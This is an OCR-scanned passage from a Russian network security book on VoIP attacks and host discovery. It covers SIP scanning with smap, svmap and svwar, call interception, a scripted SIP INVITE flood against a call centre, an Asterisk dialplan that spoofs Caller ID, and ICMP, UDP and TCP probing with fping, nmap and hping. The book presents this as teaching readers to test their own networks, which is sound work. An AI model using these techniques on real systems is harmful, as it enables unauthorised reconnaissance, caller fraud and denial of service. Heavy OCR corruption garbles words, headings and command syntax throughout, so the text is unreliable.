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SCCP (Sk inny Ca l l  Contгol P гotocol )  - закрыты й  протокол управления  
терминалами ( I Р -телефонами и меди ашл юзами) в п р одуктах комп а н и и  
Cisco; 
Unlstl m  - закрыты й  п р отокол переда ч и  сигнального трафика в п ро
дуктах компа н и и  Norte l . 

На этом краткое описание основ технологий IР-телефонии можно 
считать завершенным, и мы переходим к рассмотрению разновид
ностей различных угроз VoIP. 

2. 6. 1 .  Возможные угрозы Vo/P 

Так же как и традиционная телефония, VoIP подвержена различным 
угрозам, однако из-за особенностей, присущих цифровым технологи
ям, здесь возможностей для атак злоумышленников гораздо больше. 
В России пока не бьшо громких случаев взлома систем IР-телефонии. 
Однако в других странах распространены различные схемы реализа
ции атак и мошенничеств, зачастую приводящие к серьезным убыткам. 

Говоря об угрозах VolP, стоит отметить, что они также подверже
ны атакам на обычные IР-сети, которые практически без изменений 
могут быть направлены и на сети передачи оцифрованного голоса. 

Для IР-составляющей цифровой телефонии возможны следующие 
виды атак: 

О перехват данных; 
О отказ в обслуживании ; 
О подмена номера; 
О кража сервисов;  
О неожидаемые вызовы; 
О несанкционированное изменение конфигурации; 
О мошенничество со счетом. 

2. 6.2. Поиск устройств Vo/P 

При подготовке к реализации любой сетевой атаки необходимо пред
варительно собрать сведения о топологии сети, используемых в ней 
оборудовании и сервисах. Для этого злоумышленнику нужно вы
яснить, за какими из IР-адресов сети скрываются компьютеры, а за 
какими - IР-телефоны. Производится сканирование подсети. Обна
ружение работающих машин посредством сканирования, с помощью 
ICMP и борьба с этим - это тема отдельной статьи, поэтому мы не 
будем в нее углубляться. 
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Сейчас же будем считать, что злоумьштенник выявил работающие 
в сети узлы. Теперь ему необходимо найти IР-телефоны. Одним из 
признаков функционирования на хаете того или иного сервиса явля
ется наличие открытых сетевых портов. Например, если IР-телефон 
использует SIP, у него должен быть открыт соответствующий порт 
5060, работающий но протоколу UDP. Определение версий опера
ционных систем также именуется Fingerprint. Для определения ис
пользуемого программного обеспечения применяются специальные 
утилиты, о которых мы поговорим чуть позже. 

Узнав, какое программное обеспечение используется в сети (же
лательно не только с номером версии, но и с установленными обнов
лениями),  злоумышленник сможет но базам уязвимостей найти, ка
ким угрозам подвержена данная сборка системы, и далее либо найти 
готовый экснлоит, либо написать свой собственный, реализующий 
данную уязвимость. 

Процесс поиска VоIР-устройств можно автоматизировать. Для это
го существуют несколько специализированных утилит. Все описан
ные в этом разделе утилиты входят в состав дистрибутива Backtrack 
Linux. 

Smapiv позволяет сканировать как отдельный IР-адрес , так и под
сеть на предмет включенных SIР-устройств . Например, в качестве 
примера нросканируем сеть 1 0.0 .254.0/24. В этой сети имеются как 
устройства IР-телефонии, так и другое сетевое оборудование. Вот так 
выглядят результаты сканирования smap: 

root@bt : / p e n t e s t/vo i p/smap#  . /smap  -О 1 0 .  О .  54 . 1 1  

smap 0 . 6. 0 h s@1 2 3 . o rg http : //www . wo r m u l o n  n et/  

1 0 .  О .  54 . 1 1 : I C M P  reac h a Ь l e , S I P  е n а Ы е  

b e s t  g u e s s  ( 5 5 %  s u  re ) f i n g e  r p  r i n t : 

Aste r i s k  Р ВХ  ( u n known ve r s i o n ) 

U s e r - Ag e n t : Aste r i s k  Р ВХ  1 . 6 . 0 . 2 6 - FO N C O R E - r78 

h o st s c a n n e d , 1 ICMP reac h a Ь l e , 1 SIP e n a Ь l e d  ( 1 00 . 0% )  

Судя но  полученным результатам, перед нами IP-РВХ-сервер 
Asterisk. Рисунок 2 показывает, что мы смогли найти сервер и полу
чить информацию о его User-Agent. 

Еще один мощный инструмент - это сканер Svmap. Данное сред
ство позволяет выставить тин запроса, использующийся при поиске 
SIР-устройств. Тин запроса но умолчанию - OPTIONS. В качестве 
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примера можно нросканировать подсеть 1 0 .0 . 54 .0/24 на наличие 
VоIР-устройств. 

root@bt : / p e n t e st/vo i p / s i p vi c i o u s  # . / svmap . py 1 0 . 0 . 54 . 1 - 2 5 4  

1 S I P  Device  1 U s e r Ag e n t  1 F i n g e r p ri n t  

1 0 . 0 . 54 .  1 1  

1 0 . 0 . 54 . 29 

d i sa Ь l e d  

Aste r i s k  Р ВХ  1 . 6 . 0 . 2 6 - FO N C O R E - r78 1 d i sa Ь l e d  

Z o i p e r rev . 1 1 6 1 9  

Утилита Swar. При поиске VоIР-устройств для определения дей
ствующих SIP-extensions может помочь поиск но номерам пользова
телей. Svwarvi позволяет сканировать полный диапазон IР-адресов. 

root@bt : / p e n t e st/vo i p / s i p vi c i o u s  # . / svwa r . py -е200 - З О О  1 0 . 0 . 54 . 1 1  -m I N VIТE 

1 Ext e n s i o n  1 A u t h e n t i c a t i o n  1 

200  

202  

204  

206  

reqauth  

r eqauth  

r eqauth  

r eqauth  

Результат сканирования пользовательских номеров - в диапазоне 
от 200 до 300. В итоге получаем экстеншены пользователей, зарегист
рированные на IP- РВХ-сервере, а также информацию но наличию 
аутентификации. 

Итак, мы рассмотрели процесс поиска VоIР-устройств и получили 
некоторые интересные детали конфигурации. 

Полученная информация может быть использована в дальнейшем 
для осуществления различных атак. 

2. 6. З. Перехват данных 

Перехват данных - эта большая проблема, которая уже была описана 
в разделе, посвященном традиционной телефонии. Но для VoIP эта 
опасность намного выше, так как злоумышленнику уже не нужен 
физический доступ к телефонной линии. Здесь у злоумышленника 
могут возникнуть определенные трудности с выборкой нужных паке
тов,  так как, помимо VolP, также будут перехвачены и другие пакеты 
протокола уровня приложений. Однако эта проблема легко решается 
с помощью фильтрации перехваченного трафика. 

Перехватив голосовой IР-трафик (а он но умолчанию между шлю
зами не шифруется) ,  злоумышленник может без  труда восстановить 
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исходные переговоры. Для этого существуют даже автоматизирован
ные средства. Например,  утилита vomit (Voice Over Misconfigured 
Internet Telephones) переводит данные, полученные в результате 
перехвата трафика, с помощью анализатора протоколов tcpdump, ко
торый входит в большинство дистрибутивов Linux. Перехваченные 
данные конвертируются в обычный WАV-файл, который можно про
слушать в любом проигрывателе. Эта утилита позволяет перевести 
голосовые данные, переданные посредством IР-телефонов Cisco и 
сжатые с помощью кодека G.7 1 1 .  

Напомню, что коренное отличие перехвата в VoIP о т  традицион
ной телефонии заключается в том, что здесь вместо прямого под
ключения к прослушиваемому каналу связи достаточно компью
тера, работающего в той же LAN. Перехват данных возможен как 
изнутри корпоративной сети, так и снаружи. Причем если во внут
ренней сети несанкционированное подключенное устройство, пере
хватывающее голосовые данные, с определенной долей вероятности 
будет обнаружено , то во внешней сети заметить ответвления прак
тически невозможно. Поэтому любой незашифрованный трафик, 
выходящий за пределы корпоративной сети, должен считаться не
безопасным. 

2. 6.4. Отказ в обслуживании 

Традиционная телефонная связь всегда гарантирует качество связи, 
даже в случае высоких нагрузок на оборудование АТС, что для IР
телефонии далеко не всегда верно. Высокая нагрузка на сеть пере
дачи оцифрованных голосовых данных приводит к существенному 
искажению и даже потере части сообщений, что свойственно IР-сетям 
вообще, так как пакеты могут теряться при любой нагрузке. Поэтому 
одна из атак на IР-телефонию может заключаться в посылке на сервер 
IР-телефонии большого числа �шумовых� пакетов.  

Рассмотрим реализацию DоS-атаки, специфичной именно для си
стем IР-телефонии. Реализация будет построена на использовании 
уже упоминавшегося ранее протокола SIP. 

Допустим, у нас имеется некий Саll-центр, использующий VoIP и 
сигнализацию SIP. 

Прежде всего злоумышленникам необходимо произвести звонок 
через сеть VoIP провайдера, услугами которого пользуется данный 
Саll -центр. При этом важно собрать все пакеты сигнализации SIP 
на промежуточном между телефоном и SIP-cepвepe узле. Далее 
с помощью утилиты SIP Scenario злоумышленники выявляют SIP-
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сигнализацию первого пакета INVITE (инициализация звонка) и со
храняют его в файл. 

После этого проводятся анализ SIР-накетов,  полученных при нер
вом звонке, определение IР-адреса и SIР-норта, а также правила мо
дификации префикса телефона. На основании полученной информа
ции производится подделка сигнализации SIP таким образом, чтобы 
пакет был корректно принят телефоном, меняем префикс для номера 
вызывающего абонента, IР-адрес вызывающего и номер вызываемого. 

Затем с помощью SIP Proxy, размещенного в Интернете бесплат
ного сервера, и генератора пакетов тина nemesis отсылаем с Source 
IР-адрес отправителя - IР-адрес SIP Рrоху-сервера. Для автомати
зации злоумышленникам необходимо написать простейший скрипт 
для генерации множества пакетов. Сценарий должен генерировать 
несколько звонков в секунду. Точные значения зависят от пропускной 
способности канала связи. В результате в Саll -центре с периодич
ностью в несколько секунд будут раздаваться звонки, однако при 
снятии трубки будет тишина. При правильной настройке скрипта 
работа Саll-центра будет парализована. 

Данные атаки в той или иной степени построены но принципу 
@атонления� целевого узла большим числом пакетов или звонков, 
что приводит к его временному выходу из строя. Стоит отметить, что 
атаки тина �отказ в обслуживании� часто являются элементом более 
сложных атак, когда после вывода из строя целевого узла происходит 
его подмена на фальшивый хает, к которому подключаются клиенты. 
Трафик, проходящий через поддельный узел, перехватывается и рас
шифровывается способами, описанными выше. 

Одно из решений - резервирование полосы пропускания с по
мощью современных протоколов, например протокола резервирова
ния сетевых ресурсов RSVP. 

Также для реализации атаки �отказ в обслуживании� можно ис
пользовать широко известные DоS-атаки , такие как Smurf, U D P  
Flood и т .  д .  Однако эти атаки могут быть применены н е  только 
к устройствам IР-телефонии, но и к другим устройствам и приложе
ниям. Поэтому и защита от подобных атак должна реализовываться 
но аналогии с общими рекомендациями для сетей. 

2. 6. З. Псрех•�т А�нни1х 
Для связи с абонентом в обычной телефонной сети необходимо знать 
его номер, а в IР-телефонии роль телефонного номера выполняет 
IР-адрес. Следовательно, возможна ситуация, когда злоумышлен-



1 60 КЛАССИФИ КАЦИЯ АТАК П О УРОВНЯМ И ЕРАРХИ Ч ЕСКОЙ МОДЕЛ И  OSI 

ник может осуществить звонок с «чужого номера:? . Для этого нужно 
нерехватить соединение на этане инициализации и выдать себя за 
нужного вам абонента. Данная атака строится на нодмене значения 
ноля From в заголовке INVITE-зaнpoca. 

В качестве нримера рассмотрим нодделку CallerID для нрограмм
ного решения Asterisk. Автор этой статьи нредложил иснользовать 
нодделку Caller ID в качестве нервоанрельской шутки, но нри же
лании злоумышленник может нрименить данную атаку и для менее 
безобидных целей. 

Исходная сеть имеет структуру, нредставленную на рис. 34. 

е..,.._, _ 

Рис. 34. Подмена номера 

С номощью команды CALLERID( ) ,  нозволяющей изменять ноля 
CallerID. Данное ноле содержит информацию о вызывающем або
ненте. 

Для этого необходимо в файл extensions.conf добавить, нанример, 
следующее: 

exten  => ХХ6 6 6 , 1 , S e t ( CA L L ER I D ( n ame ) = H e l l )  

exten  = >  _XX6 6 6 , n , S e t ( CA L L ER I D ( n u m ) =6 6 6 ) 

exten  => _XX6 6 6 , n , D i a l ( S I P/ $ { EXTEN ' 0 : 2 } )  

При наборе 1 1 666 абонент, сидящий за 1 1 -м номером, будет лицез
реть нримерно такую картину на своем телефоне: 

F rom H e l l  

N u mbe r 6 6 6  

В случае иснользования злоумышленником данной атаки возмож
ны варианты, когда он сможет осуществить звонки но VoIP от имени 
других абонентов. Именно ноэтому задаче обеснечения аутентифика
ции уделяется внимание во всех VоIР-стандартах. 
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Еще одним распространенным средством осуществления звонков 
от чужого имени является использование вредоносного программного 
обеспечения, такого как �троянские кони� .  Для систем IР-телефонии 
эти приложения имеют свою специфику. 

Абонентские пункты, реализованные на базе персонального 
компьютера, менее защищены, чем специальные IР-телефоны. Ко
нечно, это утверждение не всегда верно, так как на персональном 
компьютере могут быть установлены антивирусное программное 
обеспечение и межсетевые экраны. Но , с другой стороны, на пер
сональном компьютере работает множество приложений,  поч 
ти каждое из которых содержит в себе уязвимости, иногда очень 
критичные. Приложение может не иметь никакого отношения к 
IР-телефонии (например, СУБД) ,  но в случае наличия в нем кри
тической уязвимости злоумышленник сможет заразить систему 
трояном, который уже будет осуществлять несанкционированные 
звонки но Vo IP. К тому же очень часто пользователи, особенно 
за домашними компьютерами, работают под административными 
учетными записями . Тем самым они повышают риск заражения 
системы. Иногда пользователи своими руками заражают собствен
ную систему, запуская сомнительное ПО (например, кряков для 
нелицензионных программ).  

В прошивке IР-телефона тоже могут быть уязвимости, но в силу 
аппаратной реализации на нем не может работать никаких посто
ронних приложений. Заразить систему пользователю тоже совсем не 
просто. Кроме того,  написание вредоносного кода для аппаратного 
VoIP требует довольно высокой квалификации взломщика. Поэтому 
аппаратные IР-телефоны надежнее программных реализаций. 

2. 6. 6. Атаки на диспетчеров 

Злоумышленники могут атаковать и узлы ( Gatekeeper ) ,  которые хра
нят данные о разговорах пользователей (имена абонентов,  время, про
должительность, причина завершения звонка и т. д) .  Эта информация 
может быть полезна для последующего осуществления других атак, 
таких как модификация и даже удаление указанных данных. 

Если проводить аналогию с традиционной телефонией, то это схо
же с передачей служебных команд на АТС, которые могут привести 
к ее неправильному функционированию. 

Диспетчер (gatekeeper) - это дополнительное устройство, подклю
ченное только к IР-сети и несущее в себе всю логику работы сети 
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IР-телефонии. Основными функциями этих систем являются аутен
тификация и авторизация абонента, распределение вызовов между 
птюзами и биллинг. В большинстве случаев диспетчер не содержит 
в себе законченной программы учета, а только основанный на стан
дартах интерфейс к профессиональным системам биллинга третьих 
производителей, а также API для разработки оператором собственной 
программы учета. 

Диспетчеры должны использоваться в любой сети IР-телефонии, 
содержашей более двух шлюзов. 

Атаки на диспетчеров могут реализовываться посредством эксп
луатации уязвимостей в программном обеспечении gatekeeper. 

В случае удачной реализации атаки биллинговая система (напри
мер, у оператора связи) не сможет правильно выставлять счета клиен
там, что нанесет ущерб всей инфраструктуре IР-телефонии, нарушив 
ее функционирование. 

2. 6. 7. Хищение сервисов и телефонный спам 

Атаки тина хищения сервисов, как правило, представляют собой на
бор из нескольких действий, описанных ранее в этом разделе. Преж
де всего это обнаружение устройств Vo lP, прослушивание трафи
ка с целью получения необходимой информации об используемых 
в сети протоколах. Затем это может быть атака на диспетчера, если 
необходима какая-либо техническая информация. После всех этих 
предварительных действий, как правило, производится собственно 
хищение сервисов. На практике это может быть телефонный звонок 
в другую страну с поддельного номера или же получение контроля 
над какими-либо сервисами, например голосовой почты и т. д. 

Еще одна цель, которая может преследоваться при хищении сер
висов, - это рассылка нежелательной голосовой почты, то есть фак
тически тот же снам. 

На практике это может выглядеть так: злоумыптенник в автома
тическом режиме осуществляет обзвон абонентов,  и каждому, кто 
ответит, предлагается прослушать запись голосового сообщения рек
ламного характера. 

Для телефонного снама существует специальный термин - SPIT 
(Spamming over Internet Telephony). 

Собственно, уже сейчас многие компании используют такой сервис 
вполне легально, арендуя соответствующие услуги у провайдеров IР
телефонии, однако в случае хищения сервисов рассылать снам можно 
будет практически бесплатно. 



АНАЛ ИЗ УДАЛ ЕН Н ЫХ СЕТЕВЫХ СЛУЖБ 1 63 

Так что хищение сервисов является серьезной атакой, с которой 
необходимо бороться. 

В целом IР-телефония предоставляет пользователю большее число 
новых возможностей, но сравнению с традиционной телефонией. Од
нако эти возможности таят в себе и новые опасности. Относительная 
легкость реализации атак на IР-телефонию ставит вопросы обеспе
чения безопасности на первое место наряду с обеспечением качества 
обслуживания. Хотя, на первый взгляд, уязвимостей у IР-телефонии 
больше, чем у традиционной, но и способы защиты также есть, по
этому не надо бояться, а надо грамотно защищаться. 

В этой главе я описал принципы работы IР-телефонии и рас 
смотрел основные угрозы, которым подвержены данные системы. 
Те аспекты, которые мне удалось осветить, все же показывают, что 
VoIP - не такая закрытая и непонятная область, как кажется на пер
вый взгляд. К ней могут быть применены уже известные но обычной 
телефонии и IР-сетям методы нападения. А относительная легкость 
их реализации ставит безопасность на первое место наряду с обеспе
чением качества обслуживания IР-телефонии. 

2.7 . Анал из удале н н ых сете вых служб 

В самом начале книги я подробно рассмотрел удаленный анализ сети 
с помощью социальной инженерии. В результате было выявлено сле
дующее: используется домен Active Directory на Windows 2003, из
вестны точное число филиалов, количество пользователей в каждой 
из подсетей, IР-адресация и модели используемого оборудования. 
Сейчас , когда я уже рассмотрел вопросы безопасности на всех ос
новных уровнях иерархической модели OSI,  самое время вернуться 
к вопросам анализа сетевых служб. 

Теперь проведем исследование тех служб, которые применяются 
в сети. Материал раздела будет поделен на две части. Сначала мы 
рассмотрим, как злоумышленник может идентифицировать работаю
щие узлы. А в следующей части мы перейдем к тому, как определить, 
какие службы запущены на данных машинах. 

Допустим, злоумышленнику удалось проникнуть в локальную 
сеть, например использовав уязвимость в программном обеспечении 
одного из серверных приложений, доступных из Интернета. После 
атаки он размещает бекдор, позволяющий удаленно выполнять ко
манды на взломанной машине. Скорее всего, на этом компьютере 
не окажется информации, ценной для злоумышленника. Поэтому 
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для хищения злоумьштеннику необходимо исследовать доступные 
устройства и приложения и идентифицировать сервисы на них для 
последующего взлома. 

Конечно, приведенное выше описание действий несколько упро
щено, так как современные трояны, как правило, уже содержат в себе 
необходимые для исследования сети инструменты. Поднимая тему 
исследования сети, я хочу рассказать читателям, какими средствами 
может производиться исследование сети, для того чтобы они могли 
самостоятельно проверить свои сети на подверженность подобным 
методам анализа и принять соответствующие меры к их защите. 

Думаю, здесь потребуется еще одно небольшое пояснение, так как 
многим может показаться, что идентификация работающих в сети 
машин - задача слишком простая,  не требующая отдельного внима
ния: достаточно запустить сетевой сканер - и работающие в данный 
момент хосты будут обнаружены. На самом деле сейчас в локаль
ных сетях очень часто используют фильтрацию сетевого трафика и 
межсетевое экранирование, в результате далеко не каждый сетевой 
сканер обнаружит все работающие в данный момент узлы. Без тонкой 
настройки средств сканирования эти узлы так и останутся �невиди
мыми� .  Вот о способах такой доработки мы и будем говорить в этом 
разделе. 

Для идентификации активных узлов в локальной сети можно ис
пользовать различные протоколы сетевого и транспортного уровня, 
такие как ICMP, UDP, и ТСР. Но обо всем но порядку. 

2. 7. 1 .  /СМР как инструмент исследования сети 

Протокол ICMP служит для выявления проблем, связанных с сете
вым уровнем. Как правило, в локальных сетях его не блокируют, так 
как он часто используется самими системными администраторами 
для поиска неполадок в сети. Благодаря этому с помощью ICMP мож
но производить исследование работающих в сети сервисов. 

Прежде всего рассмотрим основные принципы работы данного 
протокола. Сообщения ICMP передаются в виде IР-датаграмм, то 
есть к ним прибавляется заголовок IP. Формат IСМР-накета пред
ставлен в табл. 2. 

fа6пица 2. Формат /СМ Р-nакета 

Туре (Ти п )  Code  (Код) Checksum (Контрол ьная  сумма) 

Да н н ы е  
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Существуют несколько типов сообщений ICMP. Каждый имеет 
свой формат, при этом все они содержат следующие три ноля: 

О 8-битного целого числа, обозначающего тин сообщения (ТУРЕ) ;  
О 8-битного ноля кода ( C O D E),  который конкретизирует назна-

чение сообщения; 
О 1 6-битного ноля контрольной суммы ( CHECKSUM). 

Все тины сообщений 1 СМР можно условно но делить на две группы: 

О сообщения об ошибках (например, Destination unreachaЬle) ;  
О запросы и ответы (например, Echo Request и Echo Reply). 

Начнем с рассмотрения сообщений об ошибках. Они содержат за-
головок и первые 64 бита данных пакета IP, при передаче которого 
возникла ошибка. Это делается для того, чтобы узел-отправитель 
смог более точно проанализировать причину ошибки, так как все 
протоколы прикладного уровня стека ТСР /IP содержат наиболее 
важную информацию для анализа именно в первых 64 битах своих 
сообщений. Для большинства сообщений об ошибках задействовано 
ноле кода. В основном для исследования сети используются Echo 
Reply, Echo Request и Timestamp. Полный список нолей можно найти 
в стандарте RFC. 

Наилучшим методом определения доступности узла является но
сьшка сообщения ICMP Echo (Туре 8) .  Если система работает и от
сутствует фильтрация графика данного тина, то в ответ придет со
общение ICMP Echo Reply (Туре О). 

Идентификация (то есть обнаружение) сетевых устройств с по-
мощью протокола ICMP может быть выполнена двумя способами: 

О посылка запроса, получение ответа; 
О вызов ситуации ошибки, получение сообщения об ошибке. 

В основу идентификации заложен следующий принцип. Узел, от
правляющий IСМР-занрос, устанавливает значения нолей Identifier, 
эти значения позволяют определить ответы, пришедшие от разных 
узлов. А для того, чтобы отличить несколько ответов,  пришедших 
от одного узла, используется ноле Sequence Number. В ноле Code 
записывается ноль, ноле данных произвольно (например, алфавит). 
Отвечающая сторона должна заменить значение ноля Туре на О и от
править датаграмму обратно. 

Теперь от теории начнем переходить к практике. 
Для выполнения обнаружения узла обычно используется утили

та ping, входящая в состав большинства О С. В качестве параметра 
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ping указывается IP /имя, и в результате получаем ответ удаленной 
системы. Однако у нее есть существенный недостаток - все узлы 
опрашиваются последовательно, что существенно увеличивает про
должительность опроса. 

Обращение сразу к нескольким узлам (диапазона) с использованием 
IСМР-занросов (Echo) называется ICMP Sweep или Ping Sweep. Для 
исследования большой сети потребуется утилита, способная носьшать 
IСМР-занросы параллельно. Однако, говоря о Ping Sweep, стоит от
метить, что из-за параллельной отправки множества IСМР-занросов 
системы обнаружения атак легко определят такое сканирование. 

Рассмотрим несколько из них в качестве примера. 

2. 7.2. Утилита fping 

Утилита fping позволяет производить исследование сети при помо
щи протокола ICMP, также возможен параллельный опрос сразу не
скольких узлов , список которых может быть задан непосредственно 
пользователем или получен из файла. 

Синтаксис: 

f p i n g  [ о п ц и и  ] [ узл ы . 

Список наиболее используемых опций: 

О -с - количество отправляемых пакетов к каждому из узлов ;  
О -bn - количество байтов в отправляемом пакете; 
О -g - указание списка сканируемых узлов ; 
О -f - указание файла со списком сканируемых узлов.  

Вот как выглядит сканирование сети 192 . 1 68. 1 . 0/24. 
Сканирование сети класса С можно осуществить с помощью за-

дания маски: 

f p i n g  - g 1 9 2 .  1 6 8 .  1 .  0/24 

а можно с но мощью задания диапазона сканируемых адресов (рис. 35): 

f p i n g  -g 1 9 2 .  1 6 8 .  1 .  1 1 9 2 .  1 6 8 .  1 .  254 

Также с помощью данной утилиты можно осуществить сканирова
ние с использованием посылки одного пакета: 

f p i n g  -g 1 9 2 . 1 6 8 . 2 . 1 1 9 2 . 1 6 8 . 2 . 2 5 4  -с 1 > a l i ve - h o s t s  

Такой способ сканирования менее заметен для систем обнаруже
ния вторжений и анализаторов трафика. 
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Рис. 35. Результат работы fping. Найдены трн работающих узла 

2. 7.2. Утилита ft1in! 

Широко известная утилита nmap также может быть иснользована 
для онроса устройств. Вообще, эта утилита может нрименяться для 
исследования сетевых служб не только с номощью ICMP, ноэтому мы 
еще неоднократно будем к ней возвращаться. 

Вот нример ее иснользования для сканирования все той же сети 
192 . 1 68.2 .0/24: 

nmap - s P  -PI 1 9 2 1 6 8 .  2 1 - 2 5 4  

Ключ sP - это указание нроизводить носылку занросов ICMP Echo. 
Ключ PI - это отключение АСК-сканирования (оно включено но 

умолчанию).  

2. 7.4. Использование «Broadcast /СМР» 

Еще одним снособом онределения достунности множества узлов яв
ляется носылка занроса ICMP Echo но широковещательному адресу 
или адресу сети. Данный нрием именуется Broadcast ICMP. 
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Если предыдущие способы исследования сети с помощью ICMP 
требовали использования специальных утилит, то Broadcast ICMP 
можно реализовать с помощью команды ping. 

Например: 

p i n g  1 9 2 . 1 68 . 1 . 2 5 5  

или 

p i n g  1 9 2 . 1 68 . 1 .  О 

Такой запрос будет получен всеми узлами сети, и теоретически от
вет от каждого из узлов должен прийти узлу, пославшему запрос. На 
практике машины под управлением ОС Windows на такие запросы не 
откликаются. Зато ОС семейства UNIX и некоторые модели сетевого 
оборудования (например, бюджетные Wi-Fi-poyтepы) могут ответить 
на запросы, где в качестве адреса получателя указан широковеща
тельный адрес или адрес сети. В частности, у меня в сети на такой 
запрос ответили машины под управлением DeЬian Linux, файловый 
сервер Synology и WiFi-poyтep Asus. 

Но и здесь исследователю сети не стоит забывать о том, что систе
мы обнаружения атак обычно фиксируют такие запросы ICMP Echo 
как атаку Smurf. Действительно, подобный запрос, будучи запущен 
в цикле, порождает большое количество ответов, направленных на 
один узел, что может создать ситуацию отказа в обслуживании. 

Ата ка s m u rf з а кл юч а ется в пе реда ч е  в сеть ш и р окове щател ь н ы х  
IСМ Р-зап росов о т  имени  компьютера-жертвы .  В резул ьтате комп ью
тер ы ,  п р и ня в ш и е  та кие ш и р оковещател ьные  пакеты ,  отвечают ком
п ьютеру-жертве, что п р и водит к существенному сниже н и ю  п р опуск
ной способности канала связи и в ряде случ аев  к пол ной изоляци и 
ата куемой сети . Ата ка s m u rf искл ю ч ител ьно  эффекти в н а  и ш и роко 
распространена .  

Еще одним, более надежным средством исследования с помощью 
ICMP являются сообщения об ошибках. 

2. 7. 5. /СМР-пакеты, сообщающие об ошибках 

IСМР-сообщения об ошибках отправляются в тех случаях, когда не 
удалось выполнить какого-либо действия в сети, например доставить 
пакет но назначению. В определенных ситуациях это может оказать 
существенную помощь при выявлении работающих в сети машин. 
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Приведу небольшой пример. Сообщение ICMP Destination Un
reachaЫe (port unreachaЫe ) ,  полученное в ответ на сетевой пакет, 
указывает на то, что требуемый порт на узле закрыт, но узел доступен, 
поскольку ответ пришел. 

Использование IСМР-сообщений об ошибках для обнаружения 
устройств сводится к вызову сообщения об ошибке на тестируемом 
узле. Поскольку это осуществляется, как правило, с помощью других 
протоколов (не ICMP),  эти методы упоминаются далее. 

Начнем с использования UDP. 

2. 7. 6. UDP Discovery 

Метод определения доступности узла с использованием протокола 
UDP называется UDP Discovery. Если в ответ на пакет было полу
чено сообщение ICMP Destination UnreachaЫe ( Port UnreachaЬle) ,  
это означает, что узел доступен (и порт, указанный в UDР-накете, 
закрыт). 

fа6пица 3. Формат UDP-naкeтa 

Туре=З Соdе=З Контрол ьная сумма 
Да нные  ( U D Р-пакет) 

В случае неполучения ответа от узла возможны следующие вари-
анты: 

О узел выключен или недоступен; 
О фильтрация трафика; 
О указанный в UDР-накете порт открыт. 

Использование протокола UDP для обнаружения устройств не
эффективно в силу следующих причин. Во-первых, это высокая сте
пень фильтрации UD Р-трафика. Так как из-за архитектурных осо
бенностей (отсутствие механизма подтверждения доставки) UD Р 
используют мало служб (самыми известными являются DNS, SNMP, 
Syslog), то  этот протокол часто фильтруется в сети. 

Вторым недостатком использования UDP является непредсказуе
мое поведение системы при получении UDР-накета на открытый 
порт. Дело в том, что многие сканеры отправляют при сканирова
нии пустые пакеты. Допустим, такой пакет отправили на 53-й порт 
сервера DNS. Получив его на открытый порт, система попытается 
прочитать содержимое. При этом на уровне приложений будут ожи
даться данные определенного формата (команды, параметры и т. д .) .  
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Но так как там никаких данных нет, сервис вполне может повести 
себя не совсем корректно или, что еще хуже для исследующего, от
разить данный инцидент в своих журналах событий и уведомлениях 
администратору. 

Но некоторые разработчики смогли обойти второй недостаток 
UDР-сканирования. В сканере Retina этот метод реализован с уче
том указанных недостатков. На данные порты отправляется не пустой 
UDР-накет, а осмысленный запрос, на который должен прийти ответ. 
Таким образом, реакция будет в любом случае (открыт порт или за
крыт),  что повышает достоверность этого метода при идентификации 
сетевых объектов. 

В следующем примере используется утилита NMAP. 

Nmap - s U  -р  <номер  U D Р - п орта> <узел>  

Также для обнаружения узлов можно воспользоваться уже зна
комой нам утилитой hping. Например, для проверки определенного 
порта на узле 192 . 1 68. 10.30 необходимо выполнить: 

h p i n g  -2 1 9 2 . 1 6 8 . 1 0 . 3 0 -с 1 -р  1 37 - n  

Получение сообщения Port UnreachaЫe будет означать, что узел 
включен, но порт 137 на нем закрыт. 

Рассмотрев протокол транспортного уровня UDP, перейдем к ТСР. 

2. 7. 7. Исследование с помощью ТСР 

Протокол ТСР используется гораздо большим числом различных 
служб и приложений. По сути, в нашем случае это основной инстру
мент исследования сети, так как средства межсетевого экраниро
вания и системы обнаружения вторжений, как правило, разрешают 
отправку пакетов на наиболее распространенные сетевые порты. На
пример, вряд ли где-то будут запрещать электронную почту или веб. 

Метод определения доступности узла с использованием протокола 
ТСР называется ТСР Ping. 

Критичным является выбор значений некоторых нолей: 

О Source Port; 
О Destination Port; 
О сочетание флагов (ноле Flags). 

Выбор порта источника зависит от фильтрации трафика различ
ного тина, а выбор порта получателя осуществляется также из сооб
ражений возможной фильтрации (обычно это порты 2 1 ,  22 ,  23, 25, 
80, последний - НТТР - наиболее распространенный вариант) .  Но 
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основным при исследовании сети с помощью ТСР является выбор 
правильного сочетания флагов. 

Для лучшего понимания, о чем идет речь, рассмотрим несколько 
утилит с пояснениями. 

Утилита hping - удобное средство генерации пакетов с различным 
сочетанием флагов. 

h p i n g  <узел>  [ о п ци и ]  

Список наиболее используемых опций приведен далее: 

О -с - количество отправляемых пакетов ;  
О -О - режим RAW IP ;  
О - 1  - режим ICMP; 
О -2 - режим UDP. По умолчанию используется режим ТСР; 
О -s - порт источника; 
О -d - порт получателя. 

Флаги ТСР: 

О -F - fin флаг FIN; 
О -S  - syn флаг SYN; 
О -R -rst флаг RST; 
О -Р -push флаг PUSH;  
О -А - ack флаг АСК; 
О -U - urg флаг U RG; 
О -Х - xmas флаг Х неиспользуемый (Ох40) ;  
О - У - ymas флаг У неиспользуемый (Ох80). 

2. 7. 8. Использование флага SYN 

Посылка ТСР-накета с установленным флагом SYN может быть ис
пользована для определения доступности узла следующим образом: 
если в ответ на такой запрос пришел пакет с установленными в за
головке флагами SYN - АСК или RST, то узел доступен. Если же от
вет не приходит, то узел либо недоступен, либо данный тин трафика 
фильтруется. 

Пример посылки пакета с установленным флагом SYN на 80-й 
порт указанного узла с использованием hping (рис.  1 .36) :  

h p i n g  <узел>  - S  - р 80  -с 1 

Поскольку ответ приходит в любом случае (открыт порт или за
крыт),  этот способ определения доступности узла довольно эффек
тивен (особенно в условиях фильтрации ICMP) .  Данный метод и 
называют ТСР ping. 
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Возможны варианты сканирования и с помощью других фла
гов ,  однако здесь возникает ряд сложностей. При получении тако
го пакета система может неоднозначно на него отреагировать, так 
как реализация стека ТСР /IP в разных, особенно старых операци
онных, системах может существенно отличаться. Кроме того, па
кетные фильтры с технологией �Stateful Inspection� считают такие 
пакеты ошибочными и �молча� отбрасывают их. 

В качестве примера приведу сканирование утилитой hping с ис 
пользованием флагов SYN+ACK и АСК. 

SYN -ACK 

h p i n g  <узел>  - S  -А -р  80  -с 1 

АС К 

h p i n g  <узел>  -А -р 80 -с 1 

Вообще, ТСР-сканирование является достаточно мощным ин
